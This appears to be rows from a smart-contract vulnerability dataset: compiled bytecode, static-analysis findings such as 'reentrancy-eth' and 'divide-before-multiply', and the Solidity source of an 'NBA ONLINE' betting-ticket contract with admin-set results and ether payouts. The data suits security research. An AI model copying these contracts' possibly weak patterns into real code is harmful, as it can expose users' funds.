19050565b6000613823602083613c6d565b915061382e8261406b565b602082019050919050565b6000613846602983613c6d565b915061385182614094565b604082019050919050565b6000613869602583613c6d565b9150613874826140e3565b604082019050919050565b600061388c602483613c6d565b915061389782614132565b604082019050919050565b60006138af601783613c6d565b91506138ba82614181565b602082019050919050565b60006138d2601183613c6d565b91506138dd826141aa565b602082019050919050565b6138f181613dd1565b82525050565b61390081613def565b82525050565b600060208201905061391b600083018461370c565b92915050565b6000604082019050613936600083018561370c565b613943602083018461370c565b9392505050565b600060408201905061395f600083018561370c565b61396c60208301846138e8565b9392505050565b600060c082019050613988600083018961370c565b61399560208301886138e8565b6139a26040830187613788565b6139af6060830186613788565b6139bc608083018561370c565b6139c960a08301846138e8565b979650505050505050565b60006020820190506139e96000830184613779565b92915050565b60006020820190508181036000830152613a098184613797565b905092915050565b60006020820190508181036000830152613a2a816137d0565b9050919050565b60006020820190508181036000830152613a4a816137f3565b9050919050565b60006020820190508181036000830152613a6a81613816565b9050919050565b60006020820190508181036000830152613a8a81613839565b9050919050565b60006020820190508181036000830152613aaa8161385c565b9050919050565b60006020820190508181036000830152613aca8161387f565b9050919050565b60006020820190508181036000830152613aea816138a2565b9050919050565b60006020820190508181036000830152613b0a816138c5565b9050919050565b6000602082019050613b2660008301846138e8565b92915050565b600060a082019050613b4160008301886138e8565b613b4e6020830187613788565b8181036040830152613b60818661371b565b9050613b6f606083018561370c565b613b7c60808301846138e8565b9695505050505050565b6000606082019050613b9b60008301866138e8565b613ba860208301856138e8565b613bb560408301846138e8565b949350505050565b6000602082019050613bd260008301846138f7565b92915050565b6000613be2613bf3565b9050613bee8282613e41565b919050565b6000604051905090565b600067ffffffffffffffff821115613c1857613c17613f79565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613c8982613dd1565b9150613c9483613dd1565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613cc957613cc8613eec565b5b828201905092915050565b6000613cdf82613dd1565b9150613cea83613dd1565b925082613cfa57613cf9613f1b565b5b828204905092915050565b6000613d1082613dd1565b9150613d1b83613dd1565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613d5457613d53613eec565b5b828202905092915050565b6000613d6a82613dd1565b9150613d7583613dd1565b925082821015613d8857613d87613eec565b5b828203905092915050565b6000613d9e82613db1565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600067ffffffffffffffff82169050919050565b600060ff82169050919050565b6000613e0782613dd1565b9050919050565b60005b83811015613e2c578082015181840152602081019050613e11565b83811115613e3b576000848401525b50505050565b613e4a82613fbc565b810181811067ffffffffffffffff82111715613e6957613e68613f79565b5b80604052505050565b6000613e7d82613dd1565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613eb057613eaf613eec565b5b600182019050919050565b6000613ec682613ddb565b915067ffffffffffffffff821415613ee157613ee0613eec565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6141dc81613d93565b81146141e757600080fd5b50565b6141f381613da5565b81146141fe57600080fd5b50565b61420a81613dd1565b811461421557600080fd5b5056fea2646970667358221220d6fd3e41ec287611e76872461ebed3d667c6c835abc469ee9c26444c27cc90e264736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,904 |
0xf0ba84690b9bdec4c3175557446dddf6384eec1d | pragma solidity ^0.4.19;
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC721Abstract
{
function implementsERC721() public pure returns (bool);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) public;
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
// Optional
// function totalSupply() public view returns (uint256 total);
// function name() public view returns (string name);
// function symbol() public view returns (string symbol);
// function tokenOfOwnerByIndex(address _owner, uint256 _index) external view returns (uint256 tokenId);
// function tokenMetadata(uint256 _tokenId) public view returns (string infoUrl);
}
contract ERC721 is ERC721Abstract
{
string constant public name = "NBA ONLINE";
string constant public symbol = "Ticket";
uint256 public totalSupply;
struct Token
{
uint256 price; // value of stake
uint256 option; // [payout]96[idLottery]64[combination]32[dateBuy]0
}
mapping (uint256 => Token) tokens;
// A mapping from tokens IDs to the address that owns them. All tokens have some valid owner address
mapping (uint256 => address) public tokenIndexToOwner;
// A mapping from owner address to count of tokens that address owns.
mapping (address => uint256) ownershipTokenCount;
// A mapping from tokenIDs to an address that has been approved to call transferFrom().
// Each token can only have one approved address for transfer at any time.
// A zero value means no approval is outstanding.
mapping (uint256 => address) public tokenIndexToApproved;
function implementsERC721() public pure returns (bool)
{
return true;
}
function balanceOf(address _owner) public view returns (uint256 count)
{
return ownershipTokenCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address owner)
{
owner = tokenIndexToOwner[_tokenId];
require(owner != address(0));
}
// Marks an address as being approved for transferFrom(), overwriting any previous approval.
// Setting _approved to address(0) clears all transfer approval.
function _approve(uint256 _tokenId, address _approved) internal
{
tokenIndexToApproved[_tokenId] = _approved;
}
// Checks if a given address currently has transferApproval for a particular token.
// param _claimant the address we are confirming token is approved for.
// param _tokenId token id, only valid when > 0
function _approvedFor(address _claimant, uint256 _tokenId) internal view returns (bool) {
return tokenIndexToApproved[_tokenId] == _claimant;
}
function approve( address _to, uint256 _tokenId ) public
{
// Only an owner can grant transfer approval.
require(_owns(msg.sender, _tokenId));
// Register the approval (replacing any previous approval).
_approve(_tokenId, _to);
// Emit approval event.
emit Approval(msg.sender, _to, _tokenId);
}
function transferFrom( address _from, address _to, uint256 _tokenId ) public
{
// Check for approval and valid ownership
require(_approvedFor(msg.sender, _tokenId));
require(_owns(_from, _tokenId));
// Reassign ownership (also clears pending approvals and emits Transfer event).
_transfer(_from, _to, _tokenId);
}
function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) {
return tokenIndexToOwner[_tokenId] == _claimant;
}
function _transfer(address _from, address _to, uint256 _tokenId) internal
{
ownershipTokenCount[_to]++;
tokenIndexToOwner[_tokenId] = _to;
if (_from != address(0))
{
emit Transfer(_from, _to, _tokenId);
ownershipTokenCount[_from]--;
// clear any previously approved ownership exchange
delete tokenIndexToApproved[_tokenId];
}
}
function transfer(address _to, uint256 _tokenId) public
{
require(_to != address(0));
require(_owns(msg.sender, _tokenId));
_transfer(msg.sender, _to, _tokenId);
}
}
contract Owned
{
address private candidate;
address public owner;
mapping(address => bool) public admins;
function Owned() public
{
owner = msg.sender;
admins[owner] = true;
}
function changeOwner(address newOwner) public
{
require(msg.sender == owner);
candidate = newOwner;
}
function confirmOwner() public
{
require(candidate == msg.sender); // run by name=candidate
owner = candidate;
}
function addAdmin(address addr) external
{
require(msg.sender == owner);
admins[addr] = true;
}
function removeAdmin(address addr) external
{
require(msg.sender == owner);
admins[addr] = false;
}
}
contract Functional
{
// parseInt(parseFloat*10^_b)
function parseInt(string _a, uint _b) internal pure returns (uint)
{
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i=0; i<bresult.length; i++){
if ((bresult[i] >= 48)&&(bresult[i] <= 57)){
if (decimals){
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
if (_b > 0) mint *= 10**_b;
return mint;
}
function uint2str(uint i) internal pure returns (string)
{
if (i == 0) return "0";
uint j = i;
uint len;
while (j != 0){
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len - 1;
while (i != 0){
bstr[k--] = byte(48 + i % 10);
i /= 10;
}
return string(bstr);
}
function strConcat(string _a, string _b, string _c) internal pure returns (string)
{
bytes memory _ba = bytes(_a);
bytes memory _bb = bytes(_b);
bytes memory _bc = bytes(_c);
string memory abc;
uint k = 0;
uint i;
bytes memory babc;
if (_ba.length==0)
{
abc = new string(_bc.length);
babc = bytes(abc);
}
else
{
abc = new string(_ba.length + _bb.length+ _bc.length);
babc = bytes(abc);
for (i = 0; i < _ba.length; i++) babc[k++] = _ba[i];
for (i = 0; i < _bb.length; i++) babc[k++] = _bb[i];
}
for (i = 0; i < _bc.length; i++) babc[k++] = _bc[i];
return string(babc);
}
function timenow() public view returns(uint32) { return uint32(block.timestamp); }
}
contract NBAONLINE is Functional,Owned,ERC721{
using SafeMath for uint256;
enum STATUS {
NOTFOUND, //0 game not created
PLAYING, //1 buying tickets for players
PROCESSING, //2 waiting for result
PAYING, //3 redeeming
REFUNDING //4 canceling the game
}
struct Game{
string name; //GameName
uint256 id; //Game ID
uint256 totalPot; //Total Deposit
uint256 totalWinnersDeposit; //Total Winner Deposit
uint256 dateStopBuy; //Deadline of buying tickets of the game
STATUS status; //Game Status
mapping(uint8=>uint256)potDetail; //The amount of each player in a Game
mapping(uint8=>uint8)result; //The results of 30 players in a game 0:Lose 1: Win
}
mapping(uint256=>Game)private games; //id find game
uint256[] private gameIdList;
uint256 private constant min_amount = 0.005 ether;
uint256 private constant max_amount = 1000 ether;
function NBAONLINE () public {
}
/* Modifiers */
modifier onlyOwner() {
require(owner == msg.sender);
_;
}
modifier onlyAdmin {
require(msg.sender == owner || admins[msg.sender]);
_;
}
function addOneGame(string _name,uint256 _deadline)onlyAdmin() external{
uint256 _id = gameIdList.length;
require(games[_id].status == STATUS.NOTFOUND);
require( _deadline > timenow() );
games[_id] = Game(_name,_id,0,0,_deadline,STATUS.PLAYING);
gameIdList.push(_id);
}
function getGamesLength()public view returns(uint256 length){
return gameIdList.length;
}
function calculateDevCut (uint256 _price) public pure returns (uint256 _devCut) {
return _price.mul(5).div(100); // 5%
}
function generateTicketData(uint256 idLottery, uint8 combination,uint8 status) public view returns(uint256 packed){
packed = (uint256(status) << 12*8) + ( uint256(idLottery) << 8*8 ) + ( uint256(combination) << 4*8 ) + uint256(block.timestamp);
}
function parseTicket(uint256 packed)public pure returns(uint8 payout,uint256 idLottery,uint256 combination,uint256 dateBuy){
payout = uint8((packed >> (12*8)) & 0xFF);
idLottery = uint256((packed >> (8*8)) & 0xFFFFFFFF);
combination = uint256((packed >> (4*8)) & 0xFFFFFFFF);
dateBuy = uint256(packed & 0xFFFFFFFF);
}
function updateTicketStatus(uint256 packed,uint8 newStatus)public pure returns(uint256 npacked){
uint8 payout = uint8((packed >> (12*8)) & 0xFF);
npacked = packed + (uint256(newStatus-payout)<< 12*8);
}
function buyTicket(uint256 _id, uint8 _choose)payable external{
Game storage curGame = games[_id];
require(curGame.status == STATUS.PLAYING);
require( timenow() < curGame.dateStopBuy );
require(msg.value >= min_amount);
require(msg.value <= max_amount);
require(_choose < 30&&_choose >= 0);
uint256 dev = calculateDevCut(msg.value);
uint256 deposit = msg.value.sub(dev);
curGame.totalPot = curGame.totalPot.add(deposit);
curGame.potDetail[_choose] = curGame.potDetail[_choose].add(deposit);
Token memory _token = Token({
price: deposit,
option : generateTicketData(_id,_choose,0)
});
uint256 newTokenId = totalSupply++;
tokens[newTokenId] = _token;
_transfer(0, msg.sender, newTokenId);
if(dev > 0){
owner.transfer(dev);
}
}
function cancelTicket(uint256 _tid)payable external{
//confirm ownership
require(tokenIndexToOwner[_tid] == msg.sender);
Token storage _token = tokens[_tid];
uint256 gameId = uint256((_token.option >> (8*8)) & 0xFFFFFFFF);
Game storage curGame = games[gameId];
//confirm game status
require(curGame.status == STATUS.PLAYING);
//confirm game time
require( timenow() < curGame.dateStopBuy );
uint8 ticketStatus = uint8((_token.option >> (12*8)) & 0xFF);
//confirm ticket status
require(ticketStatus == 0);
uint256 refundFee = _token.price;
//confirm ticket price
require(refundFee > 0);
uint8 _choose = uint8((_token.option >> (4*8)) & 0xFFFFFFFF);
curGame.totalPot = curGame.totalPot.sub(refundFee);
curGame.potDetail[_choose] = curGame.potDetail[_choose].sub(refundFee);
_token.option = updateTicketStatus(_token.option,3);
msg.sender.transfer(refundFee);
}
function openResult(uint256 _id,uint8[] _result)onlyAdmin() external{
Game storage curGame = games[_id];
require(curGame.status == STATUS.PLAYING);
require(timenow() > curGame.dateStopBuy + 2*60*60);
uint256 _totalWinnersDeposit = 0;
for(uint256 i=0; i< _result.length; i++){
require(_result[i]<30&&_result[i]>=0);
curGame.result[_result[i]] = 1;
_totalWinnersDeposit = _totalWinnersDeposit.add(curGame.potDetail[_result[i]]);
}
if(_totalWinnersDeposit > 0){
curGame.status = STATUS.PAYING;
curGame.totalWinnersDeposit = _totalWinnersDeposit;
}else{
curGame.status = STATUS.REFUNDING;
}
}
function getWinningPrize(uint256 _tid)payable external{
require(tokenIndexToOwner[_tid] == msg.sender);
Token storage _token = tokens[_tid];
uint8 _choose = uint8((_token.option >> (4*8)) & 0xFFFFFFFF);
uint256 gameId = uint256((_token.option >> (8*8)) & 0xFFFFFFFF);
Game storage curGame = games[gameId];
//confirm game status
require(curGame.status == STATUS.PAYING);
require(curGame.result[_choose] == 1);
require(curGame.totalWinnersDeposit > 0);
require(curGame.totalPot > 0);
uint8 ticketStatus = uint8((_token.option >> (12*8)) & 0xFF);
//confirm ticket status
require(ticketStatus == 0);
uint256 paybase = _token.price;
//confirm ticket price
require(paybase > 0);
uint256 winningPrize = 0;
if(curGame.totalWinnersDeposit > 0){
winningPrize = (paybase.mul(curGame.totalPot)).div(curGame.totalWinnersDeposit);
}
if(winningPrize > 0){
_token.option = updateTicketStatus(_token.option,1);
msg.sender.transfer(winningPrize);
}
}
function getRefund(uint256 _tid)payable external{
//confirm ownership
require(tokenIndexToOwner[_tid] == msg.sender);
Token storage _token = tokens[_tid];
uint256 gameId = uint256((_token.option >> (8*8)) & 0xFFFFFFFF);
Game storage curGame = games[gameId];
//confirm game status
require(curGame.status == STATUS.REFUNDING);
require(curGame.totalWinnersDeposit == 0);
require(curGame.totalPot > 0);
uint8 ticketStatus = uint8((_token.option >> (12*8)) & 0xFF);
//confirm ticket status
require(ticketStatus == 0);
uint256 refundFee = _token.price;
//confirm ticket price
require(refundFee > 0);
_token.option = updateTicketStatus(_token.option,2);
msg.sender.transfer(refundFee);
}
function getGameInfoById(uint256 _id)public view returns(
uint256 _totalPot,
uint256 _totalWinnersDeposit,
uint256 _dateStopBuy,
uint8 _gameStatus,
string _potDetail,
string _results,
string _name
)
{
Game storage curGame = games[_id];
_potDetail = "";
_results = "";
for(uint8 i=0;i<30;i++){
_potDetail = strConcat(_potDetail,",",uint2str(curGame.potDetail[i]));
_results = strConcat(_results,",",uint2str(curGame.result[i]));
}
_totalPot = curGame.totalPot;
_totalWinnersDeposit = curGame.totalWinnersDeposit;
_dateStopBuy = curGame.dateStopBuy;
_name = curGame.name;
_gameStatus = uint8(curGame.status);
if ( curGame.status == STATUS.PLAYING && timenow() > _dateStopBuy ) _gameStatus = uint8(STATUS.PROCESSING);
}
function getAllGames(bool onlyPlaying,uint256 from, uint256 to)public view returns(string gameInfoList){
gameInfoList = "";
uint256 counter = 0;
for(uint256 i=0; i<gameIdList.length; i++){
if(counter < from){
counter++;
continue;
}
if(counter > to){
break;
}
if((onlyPlaying&&games[gameIdList[i]].status == STATUS.PLAYING && timenow() < games[gameIdList[i]].dateStopBuy)||onlyPlaying==false){
gameInfoList = strConcat(gameInfoList,"|",uint2str(games[gameIdList[i]].id));
gameInfoList = strConcat(gameInfoList,",",games[gameIdList[i]].name);
gameInfoList = strConcat(gameInfoList,",",uint2str(games[gameIdList[i]].totalPot));
gameInfoList = strConcat(gameInfoList,",",uint2str(games[gameIdList[i]].dateStopBuy));
if(games[gameIdList[i]].status == STATUS.PLAYING && timenow() > games[gameIdList[i]].dateStopBuy){
gameInfoList = strConcat(gameInfoList,",",uint2str(uint(STATUS.PROCESSING)));
}else{
gameInfoList = strConcat(gameInfoList,",",uint2str(uint(games[gameIdList[i]].status)));
}
counter++;
}
}
}
function getMyTicketList(bool active,uint256 from, uint256 to)public view returns(string info){
info = "";
uint256 counter = 0;
if(ownershipTokenCount[msg.sender] > 0){
for(uint256 i=0; i<totalSupply; i++){
if(tokenIndexToOwner[i] == msg.sender){
if(counter < from){
counter++;
continue;
}
if(counter > to){
break;
}
Token memory _token = tokens[i];
uint256 gameId = uint256((_token.option >> (8*8)) & 0xFFFFFFFF);
uint256 tStatus = uint256((_token.option >> (12*8)) & 0xFF);
uint256 dateBuy = uint256(_token.option & 0xFFFFFFFF);
uint256 _choose = uint256((_token.option >> (4*8)) & 0xFFFFFFFF);
uint256 otherpick = getNumbersOfPick(gameId,uint8(_choose));
Game storage curGame = games[gameId];
if((active&&(tStatus == 0&&(curGame.status == STATUS.PLAYING||(curGame.result[uint8(_choose)] == 1&&curGame.status == STATUS.PAYING)||curGame.status == STATUS.REFUNDING)))||active == false){
info = strConcat(info,"|",uint2str(i));
info = strConcat(info,",",uint2str(gameId));
info = strConcat(info,",",uint2str(_token.price));
info = strConcat(info,",",uint2str(dateBuy));
info = strConcat(info,",",uint2str(_choose));
info = strConcat(info,",",uint2str(otherpick));
info = strConcat(info,",",uint2str(tStatus));
if(curGame.status == STATUS.PLAYING && timenow() > curGame.dateStopBuy){
info = strConcat(info,",",uint2str(uint(STATUS.PROCESSING)));
}else{
info = strConcat(info,",",uint2str(uint(curGame.status)));
}
if(tStatus == 3||curGame.potDetail[uint8(_choose)]==0){
info = strConcat(info,",",uint2str(0));//Canceled ticket
}else{
if(curGame.totalWinnersDeposit > 0){
if(curGame.result[uint8(_choose)]==1){
//Win ticket
info = strConcat(info,",",uint2str(_token.price.mul(curGame.totalPot).div(curGame.totalWinnersDeposit)));
}else{
//Lose ticket
info = strConcat(info,",",uint2str(_token.price.mul(curGame.totalPot).div(curGame.potDetail[uint8(_choose)])));
}
}else{
//Pending or Processing
info = strConcat(info,",",uint2str(_token.price.mul(curGame.totalPot).div(curGame.potDetail[uint8(_choose)])));
}
}
if(curGame.status == STATUS.PAYING&&curGame.result[uint8(_choose)] == 1){
info = strConcat(info,",",uint2str(1));
}else {
info = strConcat(info,",",uint2str(0));
}
info = strConcat(info,",",uint2str(curGame.totalPot));
}
counter++;
}
}
}
}
function getNumbersOfPick(uint256 _gid, uint8 _pick)public view returns(uint256 num){
require(_pick < 30&&_pick >= 0);
Game storage curGame = games[_gid];
num = 0;
for(uint256 i=0; i<totalSupply; i++){
uint256 data = tokens[i].option;
uint256 _gameId = uint256((data >> (8*8)) & 0xFFFFFFFF);
if(curGame.id == _gameId){
uint8 _choose = uint8((data >> (4*8)) & 0xFFFFFFFF);
uint8 tStatus = uint8((data >> (12*8)) & 0xFF);
if(_pick == _choose&&tStatus!=3){
num++;
}
}
}
}
} | 0x6060604052600436106101a1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146101a6578063095ea7b3146102345780630a1432f7146102765780631051db34146102ad5780631785f53c146102da57806318160ddd146103135780631d36e06c1461033c578063213aedb81461039f57806323b872dd1461044f5780633898ee61146104b05780633f8e0298146104ff5780633fae192814610551578063429b62e5146105865780634cbf3d4c146105d75780636352211e1461061a578063651212051461067d578063654f1ccb146106b457806370480275146106dd57806370a08231146107165780638da5cb5b1461076357806395d89b41146107b8578063a460b81714610846578063a6f9dae114610889578063a8bd9c32146108c2578063a9059cbb14610925578063bd9b6d8614610967578063cce0c0fa1461097c578063cea9707a146109b3578063d2f0be9914610a63578063d739aaf814610a7b578063dcae2cb414610c11578063ea8dc8d014610c29578063ee355b1f14610c4d575b600080fd5b34156101b157600080fd5b6101b9610c65565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f95780820151818401526020810190506101de565b50505050905090810190601f1680156102265780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561023f57600080fd5b610274600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610c9e565b005b341561028157600080fd5b6102ab60048080359060200190919080359060200190820180359060200191909192905050610d1c565b005b34156102b857600080fd5b6102c0610faf565b604051808215151515815260200191505060405180910390f35b34156102e557600080fd5b610311600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fb8565b005b341561031e57600080fd5b61032661106f565b6040518082815260200191505060405180910390f35b341561034757600080fd5b61035d6004808035906020019091905050611075565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103aa57600080fd5b6103d4600480803515159060200190919080359060200190919080359060200190919050506110a8565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104145780820151818401526020810190506103f9565b50505050905090810190601f1680156104415780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561045a57600080fd5b6104ae600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506115e4565b005b34156104bb57600080fd5b6104e9600480803590602001909190803560ff1690602001909190803560ff1690602001909190505061161e565b6040518082815260200191505060405180910390f35b341561050a57600080fd5b610520600480803590602001909190505061164b565b604051808560ff1660ff16815260200184815260200183815260200182815260200194505050505060405180910390f35b341561055c57600080fd5b610564611691565b604051808263ffffffff1663ffffffff16815260200191505060405180910390f35b341561059157600080fd5b6105bd600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611699565b604051808215151515815260200191505060405180910390f35b34156105e257600080fd5b610604600480803590602001909190803560ff169060200190919050506116b9565b6040518082815260200191505060405180910390f35b341561062557600080fd5b61063b60048080359060200190919050506117a4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561068857600080fd5b61069e600480803590602001909190505061181d565b6040518082815260200191505060405180910390f35b34156106bf57600080fd5b6106c761184d565b6040518082815260200191505060405180910390f35b34156106e857600080fd5b610714600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061185a565b005b341561072157600080fd5b61074d600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611911565b6040518082815260200191505060405180910390f35b341561076e57600080fd5b61077661195a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107c357600080fd5b6107cb611980565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561080b5780820151818401526020810190506107f0565b50505050905090810190601f1680156108385780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561085157600080fd5b610873600480803590602001909190803560ff169060200190919050506119b9565b6040518082815260200191505060405180910390f35b341561089457600080fd5b6108c0600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506119e2565b005b34156108cd57600080fd5b6108e36004808035906020019091905050611a81565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561093057600080fd5b610965600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611ab4565b005b341561097257600080fd5b61097a611b14565b005b341561098757600080fd5b6109b160048080359060200190820180359060200191909192908035906020019091905050611bd3565b005b34156109be57600080fd5b6109e860048080351515906020019091908035906020019091908035906020019091905050611e11565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610a28578082015181840152602081019050610a0d565b50505050905090810190601f168015610a555780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610a7960048080359060200190919050506127ab565b005b3415610a8657600080fd5b610a9c6004808035906020019091905050612953565b604051808881526020018781526020018681526020018560ff1660ff168152602001806020018060200180602001848103845287818151815260200191508051906020019080838360005b83811015610b02578082015181840152602081019050610ae7565b50505050905090810190601f168015610b2f5780820380516001836020036101000a031916815260200191505b50848103835286818151815260200191508051906020019080838360005b83811015610b68578082015181840152602081019050610b4d565b50505050905090810190601f168015610b955780820380516001836020036101000a031916815260200191505b50848103825285818151815260200191508051906020019080838360005b83811015610bce578082015181840152602081019050610bb3565b50505050905090810190601f168015610bfb5780820380516001836020036101000a031916815260200191505b509a505050505050505050505060405180910390f35b610c276004808035906020019091905050612bdf565b005b610c4b600480803590602001909190803560ff16906020019091905050612e27565b005b610c63600480803590602001909190505061305d565b005b6040805190810160405280600a81526020017f4e4241204f4e4c494e450000000000000000000000000000000000000000000081525081565b610ca83382613282565b1515610cb357600080fd5b610cbd81836132ee565b808273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6000806000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610dc65750600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1515610dd157600080fd5b60086000878152602001908152602001600020925060016004811115610df357fe5b8360050160009054906101000a900460ff166004811115610e1057fe5b141515610e1c57600080fd5b611c20836004015401610e2d611691565b63ffffffff16111515610e3f57600080fd5b60009150600090505b84849050811015610f4357601e8585838181101515610e6357fe5b9050602002013560ff1660ff16108015610e98575060008585838181101515610e8857fe5b9050602002013560ff1660ff1610155b1515610ea357600080fd5b60018360070160008787858181101515610eb957fe5b9050602002013560ff1660ff1660ff16815260200190815260200160002060006101000a81548160ff021916908360ff160217905550610f348360060160008787858181101515610f0657fe5b9050602002013560ff1660ff1660ff168152602001908152602001600020548361334490919063ffffffff16565b91508080600101915050610e48565b6000821115610f805760038360050160006101000a81548160ff02191690836004811115610f6d57fe5b0217905550818360030181905550610fa7565b60048360050160006101000a81548160ff02191690836004811115610fa157fe5b02179055505b505050505050565b60006001905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561101457600080fd5b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60035481565b60056020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6110b0613a2e565b6000806020604051908101604052806000815250925060009150600090505b6009805490508110156115db57848210156110f15781806001019250506115ce565b838211156110fe576115db565b85801561115e57506001600481111561111357fe5b6008600060098481548110151561112657fe5b906000526020600020900154815260200190815260200160002060050160009054906101000a900460ff16600481111561115c57fe5b145b80156111a657506008600060098381548110151561117857fe5b90600052602060002090015481526020019081526020016000206004015461119e611691565b63ffffffff16105b806111b5575060001515861515145b156115cd57611232836040805190810160405280600181526020017f7c0000000000000000000000000000000000000000000000000000000000000081525061122d6008600060098781548110151561120a57fe5b906000526020600020900154815260200190815260200160002060010154613362565b6134b4565b925061133c836040805190810160405280600181526020017f2c000000000000000000000000000000000000000000000000000000000000008152506008600060098681548110151561128157fe5b90600052602060002090015481526020019081526020016000206000018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156113325780601f1061130757610100808354040283529160200191611332565b820191906000526020600020905b81548152906001019060200180831161131557829003601f168201915b50505050506134b4565b92506113b6836040805190810160405280600181526020017f2c000000000000000000000000000000000000000000000000000000000000008152506113b16008600060098781548110151561138e57fe5b906000526020600020900154815260200190815260200160002060020154613362565b6134b4565b9250611430836040805190810160405280600181526020017f2c0000000000000000000000000000000000000000000000000000000000000081525061142b6008600060098781548110151561140857fe5b906000526020600020900154815260200190815260200160002060040154613362565b6134b4565b92506001600481111561143f57fe5b6008600060098481548110151561145257fe5b90600052602060002090015481